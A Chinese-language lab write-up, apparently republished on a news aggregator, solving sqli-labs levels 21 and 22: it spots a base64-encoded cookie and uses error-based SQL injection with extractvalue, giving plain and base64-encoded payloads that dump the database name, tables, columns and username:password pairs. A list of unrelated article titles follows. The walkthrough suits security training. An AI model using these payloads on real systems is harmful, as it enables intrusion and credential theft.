当前位置: 首页 > ds >正文

sqli-labs第二十一/二十二关——POST-base64

一:判断注入类型

先像前几关一样输入一组账户名和密码进行测试,得到如下回显

我们可以判断出来这一关还是在cookie上注入,把cookie的数据与前一关作对比

发现uname后面的参数被加密了,下面介绍一下

base64编码

1.概念:将二进制数据用64个可打印字符(A-Z,a-z,0-9,+,/)表示出来

 2.特征:等号(=)是填充字符,用于确保编码后的字符串长度是4的倍数

PS:‘=’ 在url解码之前是%3D

所以我们观察这一段参数:长度为4的倍数,并且以等号(%3D)补齐,所以高度怀疑是base64编码

base64在线加密解密(编码解码)encode、decode – 白盒子

尝试解码,结果和我们想的一样

所以我们用base64加密之后的代码来注入,在bp抓包的cookie里面改动是可以直接选中转换代码

快捷键ctrl-B

Cookie: uname=admin'——————YWRtaW4n
Cookie: uname=admin——————YWRtaW4=
Cookie: uname=admin"——————YWRtaW4i
Cookie: uname=admin')—————YWRtaW4nKQ==
Cookie: uname=admin")——————YWRtaW4iKQ==

只有‘)回显我们想要的报错(后者),尝试闭合 

闭合成功,判断正确,仍然尝试报错注入

二:开始注入

1.爆数据库名

Cookie: uname=MScpIG9yIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSkpIw==
——————
Cookie: uname=1') or extractvalue(1,concat(0x7e,(database())))#

2.爆表名

Cookie: uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#
——————
Cookie: uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#

3.爆列名

Cookie: uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSlmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSkj

4.爆数据

首先判断列数

Cookie: uname=1') and extractvalue(1,concat(0x7e,(select count(*) from users)))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvdW50KCopIGZyb20gdXNlcnMpKSkj

仍然分两次得到数据

Cookie: uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))#
——————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwgc3Vic3RyaW5nKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMpLDEsMzIpKSkjCookie: uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))#
———————
Cookie: uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwgc3Vic3RyaW5nKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gdXNlcnMpLDMyLDMyKSkpIw==

 

ps:22将闭合方式改为双引号“即可 

 ❀❀❀  完结撒花!!!❀❀❀

 

http://www.xdnf.cn/news/8316.html

相关文章:

  • STL 转 STP 深度技术指南:从 3D 打印模型到工程标准的跨领域转换全解析(附迪威模型在线方案)
  • 亚马逊选品可以从以下几个方面着手
  • 浙江大学python程序设计(陈春晖、翁恺、季江民)习题答案-第十章
  • 各种标准的简称和字母标识
  • 01-jenkins学习之旅-window-下载-安装-安装后设置向导
  • Android 串口-usb-serial-for-android
  • Spring Boot——自动配置
  • 如何给文件夹添加编号?批量给文件夹添加数字、字母、日期编号
  • 前端判空:与后端 “千层套路” 的斗智斗勇
  • highCharts生成3D饼图
  • 若依Ruoyi富文本编辑器Quill粘贴图片改成文件上传(不使用base64)
  • 【C/C++】深入解析Linux下C/C++内存管理全攻略(纲要)
  • 从0到1玩转TypeScript:开启类型世界的奇妙冒险
  • 基于 AMDXCVU13P FPGA 的 4 路 100G 光纤 PCIe 低时延高性能计算加速卡
  • MCP Server StreamableHTTP 开发学习文档
  • RT-Thread源码阅读(2)——任务启动与调度
  • ArkTs中的尾随闭包
  • 如何重新设置网络ip地址?全面解析多种方法
  • 第八天 搭建车辆状态监控平台(Docker+Kubernetes) OTA升级服务开发(差分升级、回滚机制)
  • eNSP防火墙实现GRE over IPSec
  • 文件操作和IO-3 文件内容的读写
  • 【Java高阶面经:数据库篇】16、分库分表主键:如何设计一个高性能唯一ID
  • transformer网络
  • 云曦25年春季期中考核复现
  • 【会议推荐|权威出版】2025年电力工程与电气技术国际会议(PEET 2025)
  • Python 训练 day31
  • ssh登录设备总提示密码错误解决方法
  • 使用 Navicat 17 for PostgreSQL 时,请问哪个版本支持 PostgreSQL 的 20150623 版本?还是每个版本都支持?
  • Skia如何在窗口上绘图
  • 突破免疫研究瓶颈!Elabscience IL - 4 抗体 [11B11](APC 偶联)靶向识别小鼠细胞因子